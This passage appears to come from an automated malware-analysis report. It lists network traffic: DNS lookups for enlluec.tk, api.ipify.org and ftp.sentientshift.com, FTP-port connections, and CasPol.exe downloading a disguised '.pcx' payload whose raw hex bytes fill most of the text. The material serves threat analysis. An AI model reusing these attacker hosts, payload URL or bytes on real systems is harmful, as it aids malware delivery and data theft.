                                                                                            Jan 25, 2023 10:06:03.300282001 CET4985739706192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:03.352056026 CET4985621192.168.11.20192.185.87.146

                                                                                            UDP Packets

                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                            Jan 25, 2023 10:05:53.440563917 CET6266253192.168.11.201.1.1.1
                                                                                            Jan 25, 2023 10:05:53.481072903 CET53626621.1.1.1192.168.11.20
                                                                                            Jan 25, 2023 10:05:55.694389105 CET6415753192.168.11.201.1.1.1
                                                                                            Jan 25, 2023 10:05:55.703833103 CET53641571.1.1.1192.168.11.20
                                                                                            Jan 25, 2023 10:05:59.343787909 CET6310853192.168.11.201.1.1.1
                                                                                            Jan 25, 2023 10:05:59.859232903 CET53631081.1.1.1192.168.11.20

                                                                                            DNS Queries

                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                            Jan 25, 2023 10:05:53.440563917 CET192.168.11.201.1.1.10x5825Standard query (0)enlluec.tkA (IP address)IN (0x0001)false
                                                                                            Jan 25, 2023 10:05:55.694389105 CET192.168.11.201.1.1.10x3f7bStandard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                            Jan 25, 2023 10:05:59.343787909 CET192.168.11.201.1.1.10x29e5Standard query (0)ftp.sentientshift.comA (IP address)IN (0x0001)false

                                                                                            DNS Answers

                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                            Jan 25, 2023 10:05:53.481072903 CET1.1.1.1192.168.11.200x5825No error (0)enlluec.tk103.83.194.19A (IP address)IN (0x0001)false
                                                                                            Jan 25, 2023 10:05:55.703833103 CET1.1.1.1192.168.11.200x3f7bNo error (0)api.ipify.orgapi4.ipify.orgCNAME (Canonical name)IN (0x0001)false
                                                                                            Jan 25, 2023 10:05:55.703833103 CET1.1.1.1192.168.11.200x3f7bNo error (0)api4.ipify.org64.185.227.155A (IP address)IN (0x0001)false
                                                                                            Jan 25, 2023 10:05:55.703833103 CET1.1.1.1192.168.11.200x3f7bNo error (0)api4.ipify.org173.231.16.76A (IP address)IN (0x0001)false
                                                                                            Jan 25, 2023 10:05:55.703833103 CET1.1.1.1192.168.11.200x3f7bNo error (0)api4.ipify.org104.237.62.211A (IP address)IN (0x0001)false
                                                                                            Jan 25, 2023 10:05:59.859232903 CET1.1.1.1192.168.11.200x29e5No error (0)ftp.sentientshift.comsentientshift.comCNAME (Canonical name)IN (0x0001)false
                                                                                            Jan 25, 2023 10:05:59.859232903 CET1.1.1.1192.168.11.200x29e5No error (0)sentientshift.com192.185.87.146A (IP address)IN (0x0001)false

                                                                                            HTTP Request Dependency Graph

                                                                                            • enlluec.tk
                                                                                            • api.ipify.org

                                                                                            HTTPS Proxied Packets

                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                            0192.168.11.2049854103.83.194.19443C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                            TimestampkBytes transferredDirectionData
                                                                                            2023-01-25 09:05:53 UTC0OUTGET /dkVAJHULLLAJIKvMzyyDm233.pcx HTTP/1.1
                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
                                                                                            Host: enlluec.tk
                                                                                            Cache-Control: no-cache
                                                                                            2023-01-25 09:05:53 UTC0INHTTP/1.1 200 OK
                                                                                            Date: Wed, 25 Jan 2023 09:05:53 GMT
                                                                                            Server: Apache
                                                                                            Last-Modified: Tue, 24 Jan 2023 09:29:20 GMT
                                                                                            Accept-Ranges: bytes
                                                                                            Content-Length: 170560
                                                                                            Connection: close
                                                                                            Content-Type: image/x-pcx
                                                                                            2023-01-25 09:05:53 UTC0INData Raw: 5f 8e 4e 1b e1 e0 93 aa a8 be 4a 16 f2 ec 59 bf f5 ad 22 f4 8e cd 44 18 7d 23 61 04 32 37 14 61 c0 a8 1e e5 2d ed d8 98 5e 6d e7 c6 22 53 01 6a d1 c4 17 be 2a cc 2a 86 10 a2 de a0 7c 28 f2 d9 13 c7 80 77 26 0e 1a c4 32 22 97 e4 99 d6 e7 63 b8 bc 49 e1 1c be 07 8f 3a 64 20 7a 9b 15 38 b4 90 a8 18 1f a9 11 0e f3 44 e7 6b 68 64 f1 23 9f 1a 7f 57 81 19 6a d3 1f fd 1c d0 bb 7e 1d 86 d3 2a 8e 8e 68 4e 36 b5 77 26 ad c5 dd a1 af a3 e2 00 c6 fd 5c 65 5e 67 e2 ac 6e 52 3f 02 28 fa 5a 56 ad d9 22 70 52 fc 09 fe c8 80 30 d3 a4 d7 72 66 db 71 7c 04 c1 2b 51 45 8c 52 28 f4 bc 03 a1 3c e2 7a 30 d0 3f 1a c0 65 98 b0 54 83 61 f9 f5 89 67 64 a5 80 ec 58 2e ac b8 81 6e aa ce 45 65 db 10 45 e1 31 a4 b5 ab 4e c3 e9 70 ec 6e b3 bc ca 5f 7b d3 83 2a 3b 8c f9 45 6f 55 78 d1 6f
                                                                                            Data Ascii: _NJY"D}#a27a-^m"Sj**|(w&2"cI:d z8Dkhd#Wj~*hN6w&\e^gnR?(ZV"pR0rfq|+QER(<z0?eTagdX.nEeE1Npn_{*;EoUxo
                                                                                            2023-01-25 09:05:53 UTC8INData Raw: 7d 76 52 89 86 13 ec 57 53 56 e5 6c ff 6d 12 9c 3c 11 ad f4 0d f0 e1 08 07 62 7d e5 42 14 8d 75 d7 8e fb dd e0 9f ec c8 b0 3f 51 6e e9 63 bf 64 c1 e5 7a 54 da 32 b6 e5 dd 7b 83 8d 33 77 93 65 86 76 df ff 53 02 35 3a 05 92 66 f8 b1 79 38 bd 15 9c 37 58 93 41 61 d4 da ef c5 6a 4d b6 9f 31 4b f6 fc d6 d1 cf 36 18 32 88 01 f6 17 c3 5a fe ec 37 85 f9 b6 3c 66 55 45 60 9b 3e c4 fa 25 21 fa 5d 3a 47 e3 3a e0 10 63 75 76 12 75 0d 5b 1a c4 30 5f e6 e4 66 2d e5 4b 56 bc 49 e7 1f a0 34 af 78 41 5b 15 9b 15 3c 94 48 73 8f 1c 81 7d 0c f3 42 cf 64 68 64 fb 5e f0 1a 7f 53 b9 c2 6f d3 1f ff 34 9c bb fe 1b 85 cc 2d 6f 35 39 62 a2 be 9f 7c 7a c4 91 68 ae 51 51 fe b6 f5 40 15 31 06 b8 c2 03 72 56 1e 29 94 35 26 b5 16 42 50 20 8b 4f 92 a1 ee 16 94 f4 f7 ac 0a eb 39 39 28 e9
                                                                                            Data Ascii: }vRWSVlm<b}Bu?QncdzT2{3wevS5:fy87XAajM1K62Z7<fUE`>%!]:G:cuvu[0_f-KVI4xA[<Hs}Bdhd^So4-o59b|zhQQ@1rV)5&BP O99(
                                                                                            2023-01-25 09:05:53 UTC15INData Raw: 28 46 fc 60 d1 06 ef b1 00 02 70 ae 9f 2a 9d 94 03 4b ee c3 5f 94 e5 80 28 52 24 3d e7 34 d8 15 2f 1c 69 e3 1b e2 5a 85 dc 7e a6 f9 5e 2b 7e ae c4 7d a2 96 f5 d1 ea 77 67 52 ae 9c 15 03 4b 36 de e5 6d 9a af 11 ba e8 b3 ba e2 3a 63 29 92 15 47 00 eb cc 7b 10 26 00 7c 04 cf e1 ca 3e c8 b0 31 69 5a 6d f3 40 ba cb f5 0a de cc 3a b2 cd c9 14 98 87 4e 12 4f 62 a8 74 dd 85 3e 02 35 3e 78 93 67 a7 61 a6 38 9a cb 9c 1c 5a 93 41 61 32 2c ee cb 6a 54 b6 67 7e 48 dd f9 d6 d1 c4 3f 08 94 5b a6 f3 3f af 59 fe ea 0e 02 f3 9d 29 4c 4d 51 e5 18 12 c7 fe 18 09 f8 58 50 3b e2 16 e6 11 61 5e 9d 0b 47 21 0e 15 c7 36 22 b7 e4 66 38 f1 70 10 84 eb e0 1c be 07 9e 6a 7b 29 84 9a 39 21 bc b0 d0 c8 88 aa 39 62 f1 44 e1 04 0e 64 f1 29 a6 48 7e 57 81 06 60 c0 0f fd 0d c0 a7 00 1c aa
                                                                                            Data Ascii: (F`p*K_(R$=4/iZ~^+~}wgRK6m:c)G{&|>1iZm@:NObt>5>xga8ZAa2,jTg~H?[?Y)LMQXP;a^G!6"f8pj{)9!9bDd)H~W`
                                                                                            2023-01-25 09:05:53 UTC23INData Raw: ae 41 9c 42 54 ab c4 1b 6f f2 bd 04 ba ee 40 d0 54 6e 2e 29 1e b4 28 a4 e5 54 85 62 c7 e6 52 34 f8 f2 ef ef e3 05 43 b6 47 5f 4a 57 78 8f 46 da 04 c8 9a f6 73 77 bf 29 6c e9 60 cc 1f ce 07 05 02 6b ba 84 fc 42 b9 0b 44 ec cf cd b7 5d 93 2d 58 24 30 da 1a 0a ae 20 33 06 8e 7d e4 4c a7 27 63 b8 ec 48 22 7e a2 dd ab 75 bb f3 c1 ea 79 6d 4b 87 94 03 17 5e 50 a8 e4 41 85 af 3d 8d 32 a4 f3 fc 29 2a 3e 96 8a 23 23 59 56 38 30 79 ec 86 fb cc ef f4 66 c9 9c 3f 53 5c 81 09 bf 75 c0 f8 0b de db 1e b0 e6 d7 43 c5 78 b1 e7 9b 4f 99 44 d9 84 78 02 35 3e 4b e6 66 e9 a3 ac 10 a3 cb 9b 04 a6 92 6d 64 d0 f0 f5 ce 6a 53 a1 99 21 66 f0 ff fa 23 d6 36 28 31 90 cf f1 3b c4 59 70 85 0b 84 ea 96 2f 61 45 ad 9f b6 11 c7 ed 39 2b fd 41 d3 b8 ce 14 c9 39 4a 98 b5 fa 77 25 04 18 c7
                                                                                            Data Ascii: ABTo@Tn.)(TbR4CG_JWxFsw)l`kBD]-X$0 3}L'cH"~uymK^PA=2)*>##YV80yf?S\uCxODx5>KfmdjS!f#6(1;Yp/aE9+A9Jw%
                                                                                            2023-01-25 09:05:53 UTC31INData Raw: 98 95 b1 eb c7 f7 f1 09 07 6b a2 0a 51 25 fd fe ba 45 a9 b7 9a 76 e3 39 c8 dc cb eb b6 5c 5f 03 e0 89 d2 95 43 dc 78 1e 96 e3 9d 7c f2 3f db af 43 d8 17 6a 52 5d d7 d0 3f 85 bc 53 ac d2 0c e5 93 a2 55 7e ee 40 da 5c 78 44 96 0f b1 39 72 0c 78 80 4f ce 81 40 31 fe f1 e2 d0 0e 05 6f b6 7f b0 2b a8 87 5b 42 d0 1f 33 8c f0 76 69 5a 47 5b ef 67 ca dc d6 10 02 2a 9f bf 98 04 2c e2 02 4d fb da 53 d3 38 81 28 5e 1d 61 c7 e4 01 af 3a 25 01 8e 61 e5 4c ab 23 2b a6 ff 47 0f 67 a1 d6 51 1b 1f f5 d7 f3 6f 71 70 40 94 12 18 7b 0a a8 1a 92 4e 7f 00 9b c8 a5 a6 ef 2d 20 55 84 04 4a 1b 3b 9c 11 09 ad ff 85 d1 dd ea a3 d4 c8 b0 39 53 4b 92 cc bf 64 c5 a7 00 20 da 32 b0 cd d2 75 83 87 4e 18 93 65 82 76 dd 84 22 9b 35 3e 78 52 67 f8 b5 ea 39 9b cb 92 1d 58 93 41 60 c4 da ef
                                                                                            Data Ascii: kQ%Ev9\_Cx|?CjR]?SU~@\xD9rxO@1o+[B3viZG[g*,MS8(^a:%aL#+GgQoqp@{N- UJ;9SKd 2uNev"5>xRg9XA`
                                                                                            2023-01-25 09:05:53 UTC39INData Raw: 1f 14 20 69 d6 4a 51 f4 b4 49 95 68 27 ec 41 1a d1 81 c5 b0 37 f7 a8 1c 34 63 d2 a5 5f 11 f5 38 82 61 9d c7 4a 15 ca 19 f0 2b 93 e2 47 75 f1 7a 0a 4c e5 d5 79 9e e8 27 95 b1 e3 d0 7a e2 db 06 6a b1 47 40 2e eb f9 e4 d8 b8 b2 f5 68 e3 39 c2 f4 22 e9 b6 5a 4c bf f5 8f fe ca 52 d8 69 e7 85 6e 8e 72 f2 3e c8 a3 52 d4 78 76 52 5d dd 8a 46 84 bc 67 84 c8 1d 86 9e ab 3a ce ee 40 d0 4d 7d 2b 29 0f b1 33 5a f7 78 80 49 c5 ff 41 31 8f e6 ea f8 1e 04 6f bc 44 77 d5 56 63 b5 4a c2 d9 cc 9a e7 39 69 41 39 56 fc 69 eb 2c c7 05 0e 15 84 be b4 0c 63 3f 0a 25 01 e3 3b be 40 86 22 40 26 3b c7 f5 05 94 d2 35 29 e5 1b f3 5f a3 0b 6e a8 e7 b3 23 43 a5 ec 57 5f 45 eb 5a dc 7d 76 59 a7 44 67 13 41 5d 7e 6b 6d 90 7b 19 82 bb 96 ab ef 2c 1e ea e9 05 4a 15 cf cc 12 2f 79 f3 a3 d1
                                                                                            Data Ascii: iJQIh'A74c_8aJ+GuzLy'zjG@.h9"ZLRinr>RxvR]Fg:@M}+)3ZxIA1oDwVcJ9iA9Vi,c?%;@"@&;5)_n#CW_EZ}vYDgA]~km{,J/y
                                                                                            2023-01-25 09:05:53 UTC47INData Raw: 7b 79 e4 7e ab aa e4 74 f4 8d b1 0a 38 2b 65 d7 50 d5 41 0f d5 52 2c ad a1 f7 30 3e 90 48 0b 3e 15 26 d8 ca 5b 36 4a 06 04 d8 34 31 50 78 bd 89 d8 44 42 8c f9 d1 e7 44 a8 de 68 fe 64 73 e1 a4 14 3f 79 07 f1 95 00 cd 87 ee 99 0e aa 52 be cb 72 d8 99 4c 1b 8c 58 83 61 9f c7 5b 1f a8 e6 f1 07 dc 91 32 75 4a 71 00 54 f8 df 79 8f e2 3f 6b b0 d8 3a 7a e2 09 79 c7 b1 01 4a 0e c2 0e 71 db 90 d0 f7 68 e5 56 6c f4 22 e1 bd 5d 61 0d f7 9c f9 52 b7 d8 69 18 86 01 21 7c f2 34 db ab 44 c7 71 4c cb 5d dd bf 55 8c ad 5c 1d c4 1a e9 f4 05 3a c0 e4 4d d9 6d 90 c4 be 0c 99 5f 58 e4 7e ef f9 a1 fa 4b 45 f4 e3 ea f9 0e 00 66 9c b8 98 42 54 50 e9 4e c2 11 a2 2a e7 76 63 35 24 40 ef 66 d3 05 c1 67 74 03 7a b9 8b 04 52 93 23 80 12 5c 54 94 2c 82 28 5e 5a 48 c6 e4 0d 93 2a 25 01
                                                                                            Data Ascii: {y~t8+ePAR,0>H>&[6J41PxDBDhds?yRrLXa[2uJqTy?k:zyJqhVl"]aRi!|4DqL]U\:Mm_X~KEfBTPN*vc5$@fgtzR#\T,(^ZH*%
                                                                                            2023-01-25 09:05:53 UTC55INData Raw: f2 dc 39 0c 04 3e f5 a7 c8 eb 8d 48 86 d8 6d 20 8c 31 25 57 08 81 15 ca fe 3f 7b 7f 7a f9 d1 3c 49 21 ef 69 e6 09 ab 63 48 b7 fa e1 56 94 1f 51 6d 6e 64 21 49 54 29 5b 00 27 cb aa 81 f5 de f4 8b 95 a3 30 41 e2 56 3c d7 45 23 98 5a 2f d0 02 df cc 3b ba 10 1a 04 03 3a f0 9d 58 16 1a d3 ce 24 e3 a2 8c 76 a9 bd 19 53 60 8a d3 d4 8a 24 02 de 62 26 3d e5 e2 a7 6f 86 6c 16 e0 ae 0a dd c5 07 22 0c 82 3e e1 cb 74 e9 35 49 79 48 6c ee 63 9f c1 25 1f bf 18 fa 03 29 e3 47 73 25 c8 0b 4c ed c6 6f 8f fe 48 2c b0 e1 d6 6c 8d d2 07 6a bb 6e f9 2f eb e7 f0 b7 63 bc f5 62 8c 80 c3 f4 24 fc d9 81 4c 05 fb e0 47 8e 52 de 7f 77 5a 6e 8e 76 9d 85 c9 a3 54 c7 6f 65 40 75 2f bf 44 8e 9c ef 91 a0 e1 c9 f7 a9 3a c6 81 ec d0 4d 77 3a 3e 1e a7 5c e3 e5 78 86 5f ce 21 41 31 f2 8c 53
                                                                                            Data Ascii: 9>Hm 1%W?{z<I!icHVQmnd!IT)['0AV<E#Z/;:X$vS`$b&=ol">t5IyHlc%)Gs%LoH,ljn/cb$LGRwZnvToe@u/D:Mw:>\x_!A1S
                                                                                            2023-01-25 09:05:53 UTC62INData Raw: e6 b3 3a ca 73 bd 9b 51 8f 9b 49 ca 5f b4 cd e9 ac 19 d4 58 d3 73 c3 e2 43 58 03 ba d1 b3 81 81 26 46 05 55 f4 d0 e8 ae a7 e1 66 09 6d 9c 0b ca f3 50 45 50 8d 87 db 65 df 1b 4c a4 20 e0 87 ab fa 85 58 27 f5 48 3a a0 a1 87 a9 f7 90 15 d3 ec 3a 5b 32 85 f8 f7 18 23 df 6b 62 ce 74 a1 7c 5c 61 51 cd 54 b5 36 4e 78 84 b3 82 62 4a 21 00 c7 ce 5c ad 83 bb de f7 f0 0f 20 26 2d 34 60 52 ae fe 25 f7 54 05 f2 0a f4 4d 81 ba 16 0d 3c 0a 16 df c0 bf 14 10 e9 e7 db 1c 4c 50 50 bf a1 e7 4f 31 fc d2 cf ef 35 00 ad 1f fb 4e 5b cb 34 68 95 7f 04 dd c7 1a fd 89 9d cc 0e aa 58 e8 dd 7e ce e0 25 10 b4 4e ed 7e 9e c7 40 7c b2 33 e0 2d d2 8d 3c 74 4a 71 65 30 ea d5 73 96 ff 7f 99 b9 e8 e2 96 3c 03 00 46 b7 06 2f 35 eb e1 ec 04 ba ba 9a 15 e2 39 c8 e2 38 fd 9e cc 4d 05 f7 a7 80
                                                                                            Data Ascii: :sQI_XsCX&FUfmPEPeL X'H::[2#kbt|\aQT6NxbJ!\ &-4`R%TM<LPPO15N[4hX~%N~@|3-<tJqe0s<F/598M
                                                                                            2023-01-25 09:05:53 UTC70INData Raw: 4a 06 04 01 11 3b 20 18 87 5b b3 d9 07 2d 75 c2 1e 73 e2 0a ed 17 b1 3b 17 be cb 37 56 63 7a d4 e7 b7 09 48 9c 8f 58 b1 01 09 5c d9 07 4d 1b bc 7d 75 5a 86 bd dc dc f1 f7 d5 c3 46 4b 8b 73 9a 82 45 8b 56 b5 c5 f8 af 0e f0 b6 2c 5e b7 ea 29 9e 14 e2 c6 b0 97 c8 ba 19 05 44 fe b6 da af 8b f0 70 24 03 10 99 ba 5e 3d 47 5a 9a e0 cc eb de 11 6a 2e b2 f2 8f a1 fa 86 31 5f f5 64 38 b0 95 78 56 02 a3 8b da ec 21 42 20 6a f4 54 49 23 c8 7a 11 0d 65 a9 67 27 b7 ca e0 56 98 1b e5 7e 7a 46 df 57 68 30 69 7d df 4e b7 57 98 f0 e6 8f b3 37 7e a4 49 7e 50 d7 38 e7 f7 50 2b cf 01 e4 22 3a ab 04 16 2a ef 27 f4 d8 48 1d 01 ed 82 d6 93 08 52 78 b9 da 24 45 42 8e ba 97 f6 34 1d e3 7b e8 4e 40 f1 b8 72 6b 78 2b fa ad 1f ec 89 f9 ed 27 b8 52 e3 e0 6d d5 9c 4d 11 a5 56 9d 53 61
                                                                                            Data Ascii: J; [-us;7VczHX\M}uZFKsEV,^)Dp$^=GZj.1_d8xV!B jTI#zeg'V~zFWh0i}NW7~I~P8P+":*'HRx$EB4{N@rkx+'RmMVSa
                                                                                            2023-01-25 09:05:53 UTC78INData Raw: 14 d0 3b 82 24 48 20 c4 1d 61 a6 2c 39 59 3b ae 82 e0 24 c6 8b 8d 38 12 51 2c 50 21 ae 98 90 de 8d f7 b3 98 e9 5b 45 96 27 ce 91 63 d1 f5 0d 8e 1d 23 ae 07 29 be 31 5a 1c 06 1b 0e 25 d6 05 55 50 8e c2 03 7b 62 c9 05 ed 98 0a e9 17 a6 35 0b ce a3 0f 47 67 6f c8 d0 58 1b 5a 9a 8d 4d b1 ec 00 70 c0 37 62 e6 bd 51 7f 69 92 d9 a5 32 c6 df 29 c2 6c 30 37 7c 89 87 20 d1 4c b4 cd e9 ac 19 d4 59 d3 73 c3 e4 54 4a 3c 0d c3 b7 98 b6 2a 5c 16 4c fc dc 1e b0 84 0a 60 05 0a 06 b4 3a da 3c 41 76 94 f8 ac 6d df 00 68 19 32 0d 8e 87 ff ad 44 bd 9c 98 1a f4 1b 79 50 7b 26 07 db e6 51 4c 29 68 f1 db 0d 2b d7 72 94 cf 49 88 64 40 9b 5e e5 d8 f7 21 72 6e 7f 5d 78 c6 3d 2a 72 f3 a7 4e af bf b1 29 f5 8d b3 33 21 36 15 6d 58 d5 54 2d e8 5b d1 d1 24 fa 21 3d c4 e0 09 16 15 15 c3
                                                                                            Data Ascii: ;$H a,9Y;$8Q,P![E'c#)1Z%UP{b5GgoXZMp7bQi2)l07| LYsTJ<*\L`:<Avmh2DyP{&QL)h+rId@^!rn]x=*rN)3!6mXT-[$!=
                                                                                            2023-01-25 09:05:53 UTC86INData Raw: d6 6c 25 24 d5 78 68 60 23 d4 e7 14 0c bb 3e 8b 02 80 18 1a 49 60 e6 f2 77 75 34 5a 5c aa 12 b4 4e 95 29 09 90 0f e3 b8 69 fa 30 af 14 f9 db 27 95 fd 2e 9f c4 1d 38 00 c7 7c 95 25 48 2c e2 04 72 ae 3f 18 52 24 12 7c e1 08 69 9a 8b a4 27 42 28 69 8d b1 92 83 d6 9c e2 a0 7f 16 76 6e 8d 3c 5b 9e 7a cc f4 7e 66 18 3d 56 87 63 b4 38 50 88 7c 21 e5 2b d7 0a af 51 b3 d8 13 8b 67 eb 08 10 e7 18 ed 0c a9 3c 1d 44 ca 0a 55 6f 97 df d4 a8 31 81 87 8d 4e ac ee 0c 6c 2f 3e 50 02 ba 5d 41 d0 03 be e5 a2 ec b3 2d c5 e6 60 9a 7d 88 e2 fa cf 45 ad e3 f4 ae 15 cb 59 29 6f 11 e9 7e 5b 1d f5 9a ba 80 83 31 4e 14 40 e4 33 17 83 8e f6 6d 30 12 05 9c d8 df 25 b9 51 a7 ed a9 68 c5 02 64 06 2f f7 99 55 ea a1 46 d9 e3 77 36 98 08 7d 49 01 75 07 f7 ee 00 56 1c 21 06 24 e3 25 a7 64
                                                                                            Data Ascii: l%$xh`#>I`wu4Z\N)i0'.8|%H,r?R$|i'B(ivn<[z~f=Vc8P|!+Qg<DUo1Nl/>P]A-`}EY)o~[1N@3m0%Qhd/UFw6}IuV!$%d
                                                                                            2023-01-25 09:05:53 UTC94INData Raw: bd a5 3f bc 55 99 6f dd 34 43 e7 5e bf b5 ab 6a b0 ec 5a ec 4e b3 bd da 5f 7b d1 83 02 7b 91 bc 65 65 55 78 d3 6f 13 de be fe 83 b3 80 8d 78 5a 4a 76 98 b0 6a c0 d5 d7 62 24 24 c4 7e 67 ae 26 ed 1f 14 0c bb 3e f5 fc 91 0e 1b 4a 64 e4 f5 67 86 33 19 77 a8 05 b5 5d 94 15 cb 83 25 c9 ba 69 d1 d1 be 07 77 c6 23 fa d6 26 99 d8 33 b3 04 81 02 4b 2d 27 04 ca 04 74 82 31 21 40 20 dc 45 e0 08 ce 92 9a b1 4a 6b 2d 51 28 a0 96 f8 92 8c e6 bf ee 0b 58 69 83 13 d8 93 4e f4 f2 7e 7d 31 98 76 88 5d b8 cf 4e 29 15 13 15 5b c5 19 ab 5b 7e de 54 1a 46 c5 01 65 f8 77 cd 04 a3 22 0c 10 b1 37 50 75 6d f6 eb ad 1a 50 9b 9c 1a d7 d3 09 70 d5 17 50 1a bc 77 69 4b c4 c6 e1 cf ee b7 29 92 11 72 9b 7d 8d a5 40 cc 45 a1 94 37 b4 37 dd 5b 28 af 47 e8 52 5c ca ff c5 9f 8e 90 35 44 29
                                                                                            Data Ascii: ?Uo4C^jZN_{{eeUxoxZJvjb$$~g&>Jdg3w]%iw#&3K-'t1!@ EJk-Q(XiN~}1v]N)[[~TFew"7PumPpPwiK)r}@E77[(GR\5D)
                                                                                            2023-01-25 09:05:53 UTC101INData Raw: d4 5e 50 20 83 41 c7 aa ee 17 8e 15 85 7e 15 b2 35 f1 bf 5b 25 73 0d 8e 52 2e f6 94 4f a3 6c a1 f6 45 9c 3e 1b af 2c cf 75 3d a5 7b f2 f5 8e 70 9a a4 4c e4 29 39 a7 b9 bb 64 b2 55 47 62 cd e6 44 cd 32 a4 a2 a0 60 6b f6 8e ed 62 b1 97 cf 67 22 2c 7c d5 7d e3 e5 65 6f 5f 52 cd 6d 20 a4 b9 fe ea 98 d6 8f ee 10 48 67 88 a1 6e d0 dd d4 62 22 26 d1 51 32 52 27 d2 e0 76 13 b2 3b a3 56 93 0e 17 3a 71 ce bd 63 8b 33 19 66 a8 05 b9 c0 fb 66 dd d3 21 c9 c5 69 d1 dd c2 1e 74 d7 2d 82 a4 3c c3 f8 00 98 7d bf 12 4f 21 62 04 ca 07 0f c0 2d 28 55 0e a7 7c f2 38 cf 9a 4e b5 31 51 ab 51 2c a0 84 88 ee 3a e6 bb 81 17 5d 71 7b 34 e6 83 64 b0 b7 7c 77 1a 0b 03 87 4f b4 27 5e 10 0f 3b 14 35 de 13 b2 5a a2 db 13 8b 67 eb 0e 61 9e 5f ef 06 a5 c4 83 63 ca 1b 50 7f 71 d5 f8 aa 01
                                                                                            Data Ascii: ^P A~5[%sR.OlE>,u={pL)9dUGbD2`kbg",|}eo_Rm Hgnb"&Q2R'v;V:qc3ff!it-<}O!b-(U|8N1QQ,:]q{4d|wO'^;5Zga_cPq
                                                                                            2023-01-25 09:05:53 UTC109INData Raw: 30 37 b3 51 f4 40 25 0f d5 42 3c 91 79 96 4e 95 ed be 5e d7 8b 40 96 34 66 4e 21 cd ff 62 c2 09 57 bd 5f 21 4a 61 b5 dd 2c 26 e9 65 ff 8f 55 2d 04 26 03 c0 57 32 8d bb 47 be 85 82 12 44 37 65 aa 1d 77 05 cb 96 29 9a a7 a1 54 a9 e6 69 8c 52 28 a9 dc 94 d6 42 9d 49 04 b5 17 21 ce 81 ce 75 37 8e 7f 11 af f7 19 0c da 09 85 16 4c d8 c1 c8 06 f5 5f 47 65 db ee a5 e4 34 7f bb ab 60 6c 12 83 9a 7d 38 20 40 d1 ed 58 38 f3 ec 1a 6b f0 f7 ea 69 d3 6f 08 c2 0a 5a f9 c2 df c4 86 1f 00 24 d0 ff 1d ba c9 91 22 69 6e a5 75 7b 50 27 42 3f 3b 2a 44 c1 74 ba 74 fd eb 9d 83 1f 11 87 95 35 76 5f 64 d0 02 32 75 db 64 7d b1 01 01 8a 43 2c 4e fd c0 34 a8 00 1a d7 32 70 b9 32 a7 6d 8d f5 99 e7 9c 75 08 72 ae 2c bb 35 ff f4 86 1c f2 77 7a 7d 4a cb a4 d0 b0 cf bf 92 83 d6 cc 30 91
                                                                                            Data Ascii: 07Q@%B<yN^@4fN!bW_!Ja,&eU-&W2GD7ew)TiR(BI!u7L_Ge4`l}8 @X8kioZ$"inu{P'B?;*Dtt5v_d2ud}C,N42p2mur,5wz}J0
                                                                                            2023-01-25 09:05:53 UTC117INData Raw: 0e c1 9f 03 af c1 42 0a f8 14 d4 a7 87 49 dc 8c cd e0 ec 0b f0 d9 6f 08 9e 93 1e 97 ec 53 8f e6 1c be 07 10 7b f3 44 d7 60 fd d4 58 6e 47 10 1f a9 11 9a 1a b5 93 bc b2 a6 04 c5 7f e2 be 5b 81 19 6a 18 48 2b 78 68 15 59 bf 0b 75 8e 28 98 c2 f7 19 aa ba 07 15 b2 26 d7 c5 e8 92 76 ed c8 34 17 26 04 92 d7 00 58 69 5b 66 83 31 20 97 98 6d 56 20 89 67 04 fe 0f 6e 29 46 2d fb b0 1e 1d 19 2a cc 15 6a 4d 85 22 55 91 ee 42 e6 33 c1 76 30 9c 3e a4 56 fc cd bb ef 52 b5 02 25 55 a8 be 77 af 01 4c 2f a7 b9 7f 5f d2 1c e0 c5 7c f8 e8 41 89 0b 09 11 c2 d7 79 fd 6c d6 1c 00 70 fd e0 41 84 2a 7b 8c 69 14 78 01 da 27 88 eb 0d 4a 1e e4 b2 80 8d 11 c2 dc 5c 1a 3a ec 4e 2f 75 d9 a6 35 d5 79 7b 9f 35 be b0 f2 f5 4c 8e 6c be 3b ad b7 eb d1 48 48 c9 2b 88 e9 49 aa 05 bf 61 f2 21
                                                                                            Data Ascii: BIoS{D`XnG[jH+xhYu(&v4&Xi[f1 mV gn)F-*jM"UB3v0>VR%UwL/_|AylpA*{ix'J\:N/u5y{5Ll;HH+Ia!
                                                                                            2023-01-25 09:05:53 UTC125INData Raw: 41 4c 11 88 01 8b b5 a7 3b 9b 4f e5 1d 58 83 41 60 c4 f9 a8 90 23 10 b6 67 20 de 8c fd d6 1d ed 3d 28 15 ca 5d 9f 75 c3 5b fe ec 26 93 f3 9f 2f 66 59 04 21 99 2e ce f4 32 2b fa a1 2c 8a e2 00 26 3b 60 5e 9d 10 b8 25 0e 1a 4c 36 22 97 61 67 29 e7 0f 02 bc 49 d5 1c be 07 a2 7a 64 20 2d 99 15 38 ca 90 a8 18 e8 a9 11 0e e3 44 e7 6b 62 64 f1 23 9d 1a 7f 57 52 19 6a d3 15 fd 1c d0 8b fe 1d 86 fe 24 91 34 73 4e 82 bc bb 07 15 c4 9b 6c 8e f7 a0 69 b5 dd 29 17 31 00 88 cd 03 72 5c 63 47 99 34 22 8d bb 47 50 26 89 03 c2 72 ff 1e 97 e4 93 c5 17 ba 15 7d 20 5b 3a 51 61 48 40 a4 ee ba 03 ec 67 74 6b 36 9c 07 0a 13 9d c8 75 57 88 73 e0 f3 89 64 74 bc 7a ea 5a 24 86 a0 ab 68 aa f5 4e b6 ca 1e 45 99 20 0f b6 ad 60 f5 e5 a3 fd 48 b3 a4 c5 f4 78 d5 83 ab 73 27 fa 63 6f ca
                                                                                            Data Ascii: AL;OXA`#g =(]u[&/fY!.2+,&;`^%L6"ag)Izd -8Dkbd#WRj$4sNli)1r\cG4"GP&r} [:QaH@gtk6uWsdtzZ$hNE `Hxs'co
